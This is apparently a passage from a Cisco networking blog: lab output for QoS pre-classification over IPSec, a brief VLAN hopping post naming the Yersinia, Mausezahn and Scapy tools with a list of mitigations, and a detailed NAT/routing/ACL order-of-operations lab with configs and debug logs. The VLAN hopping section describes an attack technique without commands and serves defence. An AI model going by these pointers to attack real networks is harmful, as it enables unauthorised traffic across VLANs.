Match: ip dscp af11 (10)

Queueing

Output Queue: Conversation 265

Bandwidth 100 (kbps)Max Threshold 64 (packets)

(pkts matched/bytes matched) 0/0

(depth/total drops/no-buffer drops) 0/0/0

 

Class-map: MYNOTTOS5MAP (match-all)

0 packets, 0 bytes

5 minute offered rate 0 bps, drop rate 0 bps

Match: access-group name IPSECACL

Match: not ip dscp af11 (10)

drop

 


Class-map: MYNOTIPMAP (match-all)

129 packets, 24510 bytes

5 minute offered rate 0 bps, drop rate 0 bps

Match: not access-group name IPSECACL

Match: ip dscp af11 (10)

drop

 

Class-map: class-default (match-any)

30 packets, 3060 bytes

5 minute offered rate 0 bps, drop rate 0 bps

Match: any

R3#

  • RESULT = NOK

2-b) Apply QoS pre-classification (QoS -> IPSec)

 

R3#

interface Tunnel0

crypto map MYCRYPTOMAP

!

interface FastEthernet0/1

service-policy output MYQOSPOLICY

!

crypto map MYCRYPTOMAP 10 ipsec-isakmp

qos pre-classify

R3#sh policy-map int fa0/1

FastEthernet0/1

 

Service-policy output: MYQOSPOLICY

 

Class-map: MYTOS5MAP (match-all)

1689 packets, 320910 bytes

5 minute offered rate 15000 bps, drop rate 0 bps

Match: access-group name IPSECACL


Match: ip dscp af11 (10)

Queueing

Output Queue: Conversation 265

Bandwidth 100 (kbps)Max Threshold 64 (packets)

(pkts matched/bytes matched) 0/0

(depth/total drops/no-buffer drops) 0/0/0

 

Class-map: MYNOTTOS5MAP (match-all)

0 packets, 0 bytes

5 minute offered rate 0 bps, drop rate 0 bps

Match: access-group name IPSECACL

Match: not ip dscp af11 (10)

drop

 

Class-map: MYNOTIPMAP (match-all)

0 packets, 0 bytes

5 minute offered rate 0 bps, drop rate 0 bps

Match: not access-group name IPSECACL

Match: ip dscp af11 (10)

drop

 

Class-map: class-default (match-any)

2 packets, 120 bytes

5 minute offered rate 0 bps, drop rate 0 bps

Match: any

R3#

  • RESULT = OK

VLAN hopping or double tagging using “Yersinia”


Here an example in Video of “VLAN hopping” or “double tagging” using Linux tool “yersinia”.

Some recommendation to mitigate the threat of “VLAN hopping”
– Clear Native VLAN from All .1q Trunk.
– Put unused port into unused VLAN.
– Shutdown unused port.
– Configure user ports as static access.
– Filter tagged traffic entering access ports.
– Set native VLAN an unused VLAN.
– Do not use Default Native VLAN = 1.

Example of other tools:
– Mausezahn: http://www.perihel.at/sec/mz/index.html
– Scapy: http://www.secdev.org/projects/scapy/

Order of operations : NAT + Routing + ACL


This is the 1st post in the series “router order of operations” and the purpose is to provide a comprehensive but clear enough overview of how operations are performed in the router and implications on what IP addresses to consider particularly when filtering with ACL.

Part1: NAT + Routing

“Routing” & “NAT” represent keystone to understand more complex situations:

Figure1: order of NAT+Routing


Rules:

– Traffic entering inside NAT interface is routed 1st then NATted

– Traffic entering outside NAT interface is NATted 1st then routed

IMPORTANT ===> For outside NAT : Make sure to have a route for the “outside local” to the outside NAT interface, or add the keyword “add-route” at the end of the “ip nat outside source static” command, otherwise, because of the “alias” feature inherited to NAT, the outside interface will respond on behalf of the outside local (if the prefix belongs to the outside interface segment) or will not be routed (if the prefix doesn’t belong to an attached subnet) (1)

Part2: NAT + Routing+ ACL

Figure2: order of NAT+Routing+ACL

Rules:

– Traffic entering inside NAT interface is always routed 1st then NATted.

– Traffic entering outside NAT interface is always NATted 1st then routed.

– Inbound ACL are performed before routing & NAT, alleviate processing overhead by filtering unnecessary traffic.

– Outbound ACL is performed after routing & NAT.

Next follows the practice lab in which, the previously stated rules are demonstrated:

Figure3: Lab topology

Note:

vhost1 and vhost2 routers are simulated inside one single router using VRF-Lite (Figure4), for more information about this technique, refer to the post VRF-Lite as an alternative to VPC

Figure4: end-host deployment


Let’s suppose that the policy is to block ICMP traffic between the inside host 10.0.0.17 and the outside host 192.168.20.146, we will see that the involved IP address in the ACL changes according to the type of translation, the direction of the traffic and the NAT interface on which ACL is applied.

Each time only a single ACL is applied to a single interface, one single icmp packet is generated from inside to outside.

Here is the battery of tests to be done, observe debug results and refer to the associated rules and figures.

Tests :

Inside source Inside NAT interface Outside NAT interface
ACL direction inbound outbound inbound Outbound
Prefix to filter Src=Inside local Dst=Inside local Dst=Outside local Src=Outside local
outside source Inside NAT interface Outside NAT interface
ACL direction inbound outbound inbound outbound
Prefix to filter Dst=Outside local Src=Outside local Src=Outside global Dst=Outside global

A) – inside source NAT

NAT operation:

(inside local = 10.0.0.17) is seen from outside as (inside global = 192.168.20.131)

NAT(config)#ip nat inside source static 10.0.0.17 192.168.20.131

NAT#sh ip nat translations

Pro Inside global Inside local Outside local Outside global

— 192.168.20.131 10.0.0.17 — —

NAT#

For each case ICMP traffic is generated as follow:

Vhost#ping vrf vhost1 192.168.20.146 repeat 1

A1-ACL applied on outside nat interface

A1-a) inbound direction filter prefix dst=outside local

ip access-list ext outsideblock-in

10 deny ip any host 192.168.20.131

20 permit ip any any

interface FastEthernet0/1

ip access-group outsideblock-in in

NAT(config-if)#

*Mar 1 23:26:57.562: IP: tableid=0, s=10.0.0.17 (FastEthernet0/0), d=192.168.20.146 (FastEthernet0/1), routed via FIB

*Mar 1 23:26:57.566: NAT: s=10.0.0.17->192.168.20.131, d=192.168.20.146 [139]

*Mar 1 23:26:57.570: IP: s=192.168.20.131 (FastEthernet0/0), d=192.168.20.146 (FastEthernet0/1), g=192.168.20.130, len 100, forward

*Mar 1 23:26:57.706: IP: s=192.168.20.146 (FastEthernet0/1), d=192.168.20.131, len 100, access denied

Note order of operation: routing->NAT for ICMP echo and the returning traffic is blocked before entering the router.

*** Last outbound interface operation is traffic forwarding to next-hop

A1-b) outbound direction filter prefix src=outside local

ip access-list ext outsideblock-out

10 deny ip host 192.168.20.131 any

20 permit ip any any

interface FastEthernet0/1

ip access-group outsideblock-out out

NAT(config-if)#

*Mar 1 23:34:36.162: IP: tableid=0, s=10.0.0.17 (FastEthernet0/0), d=192.168.20.146 (FastEthernet0/1), routed via FIB

*Mar 1 23:34:36.166: NAT: s=10.0.0.17->192.168.20.131, d=192.168.20.146 [140]

*Mar 1 23:34:36.170: IP: s=192.168.20.131 (FastEthernet0/0), d=192.168.20.146 (FastEthernet0/1), len 100, access denied

NAT(config-if)#

Note the order of operations: routing->NAT, and then ACL blocked it outbound at the outside NAT interface.

A2-acl applied on inside nat interface

A2-a) inbound direction filter prefix src=inside local

ip access-list ext insideblock-in

10 deny ip host 10.0.0.17 any

20 permit ip any any

interface FastEthernet0/0

ip access-group insideblock-in in

Vhost#p vrf vhost1 192.168.20.146 repeat 1

Type escape sequence to abort.

Sending 1, 100-byte ICMP Echos to 192.168.20.146, timeout is 2 seconds:

U

Success rate is 0 percent (0/1)

Vhost#

NAT#

*Mar 1 22:53:08.410: IP: s=10.0.0.17 (FastEthernet0/0), d=192.168.20.146, len 100, access denied

NAT#

The debug confirm that inbound ACL at the inside NAT interface is performed 1st before any other operations and filter the inside local as source of the traffic

A2-b) outbound direction filter prefix dst=inside local

ip access-list ext insideblock-out

10 deny ip any host 10.0.0.17

20 permit ip any any

interface FastEthernet0/0

ip access-group insideblock-out out

Vhost#

Vhost#p vrf vhost1 192.168.20.146 repeat 1

Type escape sequence to abort.

Sending 1, 100-byte ICMP Echos to 192.168.20.146, timeout is 2 seconds:

.

Success rate is 0 percent (0/1)

Vhost#

NAT(config-if)#

*Mar 1 23:14:36.762: IP: tableid=0, s=10.0.0.17 (FastEthernet0/0), d=192.168.20.146 (FastEthernet0/1), routed via FIB

*Mar 1 23:14:36.766: NAT: s=10.0.0.17->192.168.20.131, d=192.168.20.146 [137]

*Mar 1 23:14:36.770: IP: s=192.168.20.131 (FastEthernet0/0), d=192.168.20.146 (FastEthernet0/1), g=192.168.20.130, len 100, forward

*Mar 1 23:14:36.918: NAT*: s=192.168.20.146, d=192.168.20.131->10.0.0.17 [137]

*Mar 1 23:14:36.922: IP: tableid=0, s=192.168.20.146 (FastEthernet0/1), d=10.0.0.17 (FastEthernet0/0), routed via FIB

*Mar 1 23:14:36.926: IP: s=192.168.20.146 (FastEthernet0/1), d=10.0.0.17 (FastEthernet0/0), len 100, access denied

Note the order of operations: Routing=>NAT for ICMP echo, but NAT=>Routing for ICMP reply and outbound ACL at the inside NAT interface

B) – outside source NAT

NAT operation:

(inside local = 10.0.0.17) is seen from outside as (inside global = 192.168.20.131)

(outside global = 192.168.20.146) is seen from inside as (outside local = 10.0.0.35)

As stated in (1) make sure to have a route for the outside local to the outside interface, or add the keywork “add-route” at the end of the “ip nat outside source static” command otherwise because of the “alias” feature inherited to NAT, the outside interface will respond on behalve of 10.0.0.35 (10.0.0.35 belongs to the outside inteface segment)

ip nat outside source static 192.168.20.146 10.0.0.35 add-route

or

ip nat outside source static 192.168.20.146 10.0.0.35

ip route 10.0.0.35 255.255.255.255 fa0/1

NAT(config)#do sh ip nat tra

Pro Inside global Inside local Outside local Outside global

— — — 10.0.0.35 192.168.20.146

— 192.168.20.131 10.0.0.17 — —

NAT(config)#

For each case ICMP traffic is generated from vhost1 (10.0.0.17) toward vhost2 (192.168.20.146) as follow :

Vhost#ping vrf vhost1 10.0.0.35 repeat 1

Here are normal operations without filtering:

NAT(config)#

*Mar 2 02:07:20.597: IP: tableid=0, s=10.0.0.17 (FastEthernet0/0), d=10.0.0.35 (FastEthernet0/1), routed via RIB

*Mar 2 02:07:20.605: NAT: s=10.0.0.17->192.168.20.131, d=10.0.0.35 [204]

*Mar 2 02:07:20.605: NAT: s=192.168.20.131, d=10.0.0.35->192.168.20.146 [204]

*Mar 2 02:07:20.609: IP: s=192.168.20.131 (FastEthernet0/0), d=192.168.20.146 (FastEthernet0/1), g=192.168.20.146, len 100, forward

*Mar 2 02:07:20.721: NAT*: s=192.168.20.146->10.0.0.35, d=192.168.20.131 [204]

*Mar 2 02:07:20.725: NAT*: s=10.0.0.35, d=192.168.20.131->10.0.0.17 [204]

*Mar 2 02:07:20.733: IP: tableid=0, s=10.0.0.35 (FastEthernet0/1), d=10.0.0.17 (FastEthernet0/0), routed via FIB

*Mar 2 02:07:20.737: IP: s=10.0.0.35 (FastEthernet0/1), d=10.0.0.17 (FastEthernet0/0), g=10.0.0.34, len 100, forward

NAT(config)#

Note the order of operations: routing=>NAT then NAT=>Routing for the returning traffic

B1-acl applied on outside nat interface

B1-a) inbound filter prefix src=outside global

ip access-list ext outsideblock-in

10 deny ip host 192.168.20.146 any

20 permit ip any any

interface FastEthernet0/1

ip access-group outsideblock-in in

NAT(config-if)#

*Mar 2 02:16:45.621: IP: tableid=0, s=10.0.0.17 (FastEthernet0/0), d=10.0.0.35 (FastEthernet0/1), routed via RIB

*Mar 2 02:16:45.625: NAT: s=10.0.0.17->192.168.20.131, d=10.0.0.35 [207]

*Mar 2 02:16:45.629: NAT: s=192.168.20.131, d=10.0.0.35->192.168.20.146 [207]

*Mar 2 02:16:45.633: IP: s=192.168.20.131 (FastEthernet0/0), d=192.168.20.146 (FastEthernet0/1), g=192.168.20.146, len 100, forward

*Mar 2 02:16:45.745: IP: s=192.168.20.146 (FastEthernet0/1), d=192.168.20.131, len 100, access denied

B1-b) outbound filter prefix dst=outside global

ip access-list ext outsideblock-out

10 deny ip any host 192.168.20.146

20 permit ip any any

interface FastEthernet0/1

ip access-group outsideblock-out out

NAT(config-if)#

*Mar 2 02:19:31.969: IP: tableid=0, s=10.0.0.17 (FastEthernet0/0), d=10.0.0.35 (FastEthernet0/1), routed via RIB

*Mar 2 02:19:31.973: NAT: s=10.0.0.17->192.168.20.131, d=10.0.0.35 [208]

*Mar 2 02:19:31.977: NAT: s=192.168.20.131, d=10.0.0.35->192.168.20.146 [208]

*Mar 2 02:19:31.981: IP: s=192.168.20.131 (FastEthernet0/0), d=192.168.20.146 (FastEthernet0/1), len 100, access denied

B2- acl applied on inside nat interface

B2-a) inbound filter prefix dst=outside local

ip access-list ext insideblock-in

10 deny ip any host 10.0.0.35

20 permit ip any any

interface FastEthernet0/0

ip access-group insideblock-in in

NAT(config-if)#

*Mar 2 02:10:45.613: IP: s=10.0.0.17 (FastEthernet0/0), d=10.0.0.35, len 100, access denied

B2-b) outbound filter prefix src=outside local

ip access-list ext insideblock-out

10 deny ip host 10.0.0.35 any

20 permit ip any any

interface FastEthernet0/0

ip access-group insideblock-out out

NAT(config-if)#

*Mar 2 02:12:11.393: IP: tableid=0, s=10.0.0.17 (FastEthernet0/0), d=10.0.0.35 (FastEthernet0/1), routed via RIB

*Mar 2 02:12:11.397: NAT: s=10.0.0.17->192.168.20.131, d=10.0.0.35 [206]

*Mar 2 02:12:11.401: NAT: s=192.168.20.131, d=10.0.0.35->192.168.20.146 [206]

*Mar 2 02:12:11.405: IP: s=192.168.20.131 (FastEthernet0/0), d=192.168.20.146 (FastEthernet0/1), g=192.168.20.146, len 100, forward

*Mar 2 02:12:11.517: NAT*: s=192.168.20.146->10.0.0.35, d=192.168.20.131 [206]

*Mar 2 02:12:11.517: NAT*: s=10.0.0.35, d=192.168.20.131->10.0.0.17 [206]

*Mar 2 02:12:11.525: IP: tableid=0, s=10.0.0.35 (FastEthernet0/1), d=10.0.0.17 (FastEthernet0/0), routed via FIB

*Mar 2 02:12:11.529: IP: s=10.0.0.35 (FastEthernet0/1), d=10.0.0.17 (FastEthernet0/0), len 100, access denied

Conclusion

– Write down your expectations in term of address translation, routing and filtering.

– Make sure to choose your IP addresses to filter, the ACL direction and the interface to which ACL is applied with the order of operations in mind.

%d bloggers like this: